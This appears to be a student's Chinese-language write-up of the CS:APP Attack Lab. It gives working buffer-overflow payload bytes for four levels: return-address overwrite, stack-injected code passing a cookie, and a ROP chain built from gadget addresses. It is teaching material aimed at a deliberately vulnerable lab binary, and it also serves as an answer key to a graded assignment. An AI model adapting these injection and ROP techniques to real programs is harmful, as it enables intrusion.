- 第一关:
我的实例里,BUFFER_SIZE接近于40。
所以前四十个字节瞎写,后8个字节是touch1的函数地址,传进去即可通过。
用hex2raw生成的字符串,原先的字节串里有00不会造成字符串的读取中断,可以放心在里面塞00。
(由sub $0x28, %rsp得到这个值,但不能直接认为这个值就是那个编译确定的值,因为存在对齐要求,可能分配空间时会加入一些padding)
最后成功的字节串:
11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 /* placeholder */ c0 17 40 00 00 00 00 00 /* touch1 address */
- 第二关:
我的cookie值是0x59b997fa
48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
touch2的地址:00 00 00 00 00 40 17 ec
0x5561dca0,这是ctarget程序刚进入getbuf函数的栈顶指针。
最后成功的字节串:
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa, %rdi */ 48 83 ec 18 /* sub $0x18, %rsp */ c3 /* return */ 11 11 11 11 /* placeholder */ ec 17 40 00 00 00 00 00 /* touch2 address */ 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 /* placeholder */ 78 dc 61 55 00 00 00 00 /* initial stack top */
- 第三关:
59b997fa按字符依次等价于16进制表示35 39 62 39 39 37 66 61 00(别忘了最后的空字符)
理清一下这关的函数调用关系:还是在getbuf函数的输入里做手脚,要让它带着上面的字符串指针作为参数调用touch3函数,touch3函数会调用hexmatch函数做检验,不需要针对检验过程,我们只要做好构造并传入字符串形参,调用touch3即可。
注意touch3、strncmp也会使用栈,所以在哪里放置字符串需要小心,避免字符串被覆盖。
早上多赖了会床的结果是不到40分钟过了这关……结果还是挺漂亮。
字符串得放置到touch3的函数地址之后,以防止之后的函数调用也使用栈,可能覆盖字符串的数据。
成功的字节串:
48 c7 c7 97 dc 61 55 90 90 90 90 /* gcc generates movl for this statement? If I use 00 instead of 90, then I receive a segment fault because I attempt to write %al into (%rax). Any way, this statement equals to mov $0x5561dc97, %rdi */ 48 83 ec 19 c3 /* sub $0x19, %rsp */ 11 11 11 11 11 11 11 /* placeholder */ fa 18 40 00 00 00 00 00 /* touch3's address*/ 35 39 62 39 39 37 66 61 00 /* string representation of cookie */ 78 dc 61 55 00 00 00 00 /* overwrite original return address to execute code on the stack */
- 第四关:
回顾一下第二关的要求,传一个和cookie相同值得形参去调用touch3函数。
设想的控制流:
popq %rax movq %rax, %rdi ret(to touch2)
放两个我用的函数的拆解分析:
0000000000000036 <getval_280>: 36: b8 29 58 90 c3 mov $0xc3905829,%eax 3b: c3 retq
从0x36 + 0x2处拆解为:
58 popq %rax 90 nop c3 ret
000000000000000c <addval_273>: c: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 12: c3 retq
从0c + 0x2拆解为:
48 89 c7 movq %rax, %rdi c3 ret
成功的字节串:
11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 /* placeholder*/ cc 19 40 00 00 00 00 00 /* Function contains "popq %rax"'s byte representation, set to the exact position */ fa 97 b9 59 00 00 00 00 /* Cookie val*/ a2 19 40 00 00 00 00 00 /* Function contains "movq %rax, %rdi's byte representation*/ ec 17 40 00 00 00 00 00 /* touch2 address */
- 最后一关就偷了下懒没去做,翻了下网上的解答,光靠自己去想的确挺难想到……